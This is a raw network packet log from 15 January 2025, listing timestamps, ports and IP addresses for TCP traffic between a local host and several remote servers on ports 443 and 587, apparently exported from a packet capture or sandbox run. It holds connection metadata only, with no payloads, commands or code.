Jan 15, 2025 03:37:08.879409075 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.882527113 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.882687092 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.882718086 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.891298056 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:08.891630888 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:08.896399021 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:08.898264885 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.915412903 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.929305077 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.929342031 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.929399014 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.975554943 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.058650017 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.058712006 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.058860064 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.058924913 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.058924913 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.065462112 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.065507889 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.066592932 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.066653013 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.066672087 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.066709042 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.066723108 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.066749096 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.066787004 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.066875935 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.066955090 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.069489956 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.069489956 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.069506884 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.069575071 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.117417097 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.117477894 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.117502928 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.117568970 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.117643118 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.117675066 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.117707014 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.117726088 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.117755890 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.117757082 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.118305922 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.118398905 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.118467093 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.120904922 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.121001005 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.121273994 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.121437073 CET	49786	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.121460915 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.121521950 CET	49786	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.121800900 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.121840954 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.121928930 CET	49786	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.121941090 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.123426914 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.123449087 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.123519897 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.123698950 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.123728037 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.133713961 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.133775949 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.133797884 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.133842945 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.133848906 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.133862972 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.133886099 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.133904934 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.133922100 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.133924961 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.133945942 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.133975983 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.160335064 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.160387993 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.160582066 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.160582066 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.160649061 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.160729885 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.208144903 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.208205938 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.208363056 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.208363056 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.208429098 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.208659887 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.212871075 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.213181019 CET	49783	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.213215113 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.213695049 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.213964939 CET	49783	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.214061022 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.214065075 CET	49783	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.224350929 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:09.224637032 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:09.229429960 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:09.250943899 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.251004934 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.251156092 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.251156092 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.251231909 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.251296043 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.252521992 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.252564907 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.252610922 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.252626896 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.252660036 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.252681971 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.253331900 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.253403902 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.253412008 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.253495932 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.253551006 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.253792048 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.253808975 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.253818989 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.253864050 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.255409956 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.262096882 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.262183905 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.262278080 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.262449980 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.262487888 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.264486074 CET	49783	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.465852022 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.466039896 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.466190100 CET	49783	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.466801882 CET	49783	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.466841936 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.489516020 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.489600897 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.489741087 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.491106033 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.491144896 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.492532015 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.492571115 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.492657900 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.492916107 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.492934942 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.493452072 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.493474960 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.493585110 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.493900061 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.493923903 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.494389057 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.494412899 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.494489908 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.494609118 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.494615078 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.527790070 CET	49793	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.527883053 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.529125929 CET	49793	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.529356956 CET	49793	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.529395103 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.545177937 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:09.545507908 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:09.545572996 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:09.549127102 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:09.549212933 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:09.549783945 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:09.549962044 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:09.550074100 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:09.550091982 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:09.550894022 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:09.551156044 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:09.555918932 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:09.592832088 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:09.710731983 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.711023092 CET	49786	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.711034060 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.712093115 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.712389946 CET	49786	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.712470055 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.712532043 CET	49786	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.715903997 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.716265917 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.716334105 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.719885111 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.719974041 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.720518112 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.720696926 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.721080065 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.721097946 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.731837988 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.732156038 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.732173920 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.732644081 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.733025074 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.733115911 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.733164072 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.755409956 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.767517090 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.781691074 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.929467916 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:09.929800987 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:09.934607983 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:09.936294079 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.936479092 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.936580896 CET	49786	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.938939095 CET	49786	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.938949108 CET	443	49786	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.940437078 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.940449953 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.940462112 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.940522909 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.940557957 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.940577030 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.940661907 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.940742016 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.940742016 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.941276073 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.941286087 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.946078062 CET	49785	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.946120977 CET	443	49785	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.953385115 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.953434944 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.953531981 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.954190969 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.954231024 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.954695940 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.954791069 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.954926014 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.955091000 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.955131054 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.957740068 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.957803965 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.957823992 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.957878113 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.957896948 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.957930088 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.957973003 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.958337069 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:09.958429098 CET	443	49787	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:09.958554983 CET	49787	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.057742119 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.058089972 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.058156013 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.059278965 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.059542894 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.059633970 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.059722900 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.074446917 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.074502945 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.074522972 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.074666023 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.074704885 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.074704885 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.074722052 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.074775934 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.074824095 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.074824095 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.074850082 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.076936960 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.077359915 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.077425957 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.078665018 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.079073906 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.079257965 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.079432011 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.080853939 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.081254005 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.081274986 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.083034039 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.083199024 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.083446980 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.083532095 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.083548069 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.087665081 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.087841988 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.087851048 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.091375113 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.091453075 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.097486973 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.097563028 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.097589970 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.102145910 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.113559961 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.113931894 CET	49793	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.114003897 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.114069939 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.114619017 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.114681005 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.114898920 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.114974976 CET	49793	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.115432024 CET	49793	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.115497112 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.117196083 CET	49793	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.117221117 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.118253946 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.118390083 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.118802071 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.118988037 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.119051933 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.123358965 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.131323099 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.132071018 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.132133961 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.139329910 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.147185087 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.147191048 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.159354925 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.163081884 CET	49793	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.163165092 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.163180113 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.173785925 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.173846006 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.174002886 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.174002886 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.174071074 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.174135923 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.179084063 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.179742098 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.179820061 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.179841042 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.179892063 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.179955006 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.180172920 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.180205107 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.188169956 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.218208075 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.256031990 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:10.285478115 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:10.285479069 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:10.285599947 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:10.290337086 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:10.290460110 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:10.290467024 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:10.309298038 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.309380054 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.309401989 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.309454918 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.309464931 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.309473991 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.309518099 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.309551954 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.309604883 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.334580898 CET	49792	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.334590912 CET	443	49792	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.336489916 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.336533070 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.336656094 CET	49793	443	192.168.2.4	45.63.57.89
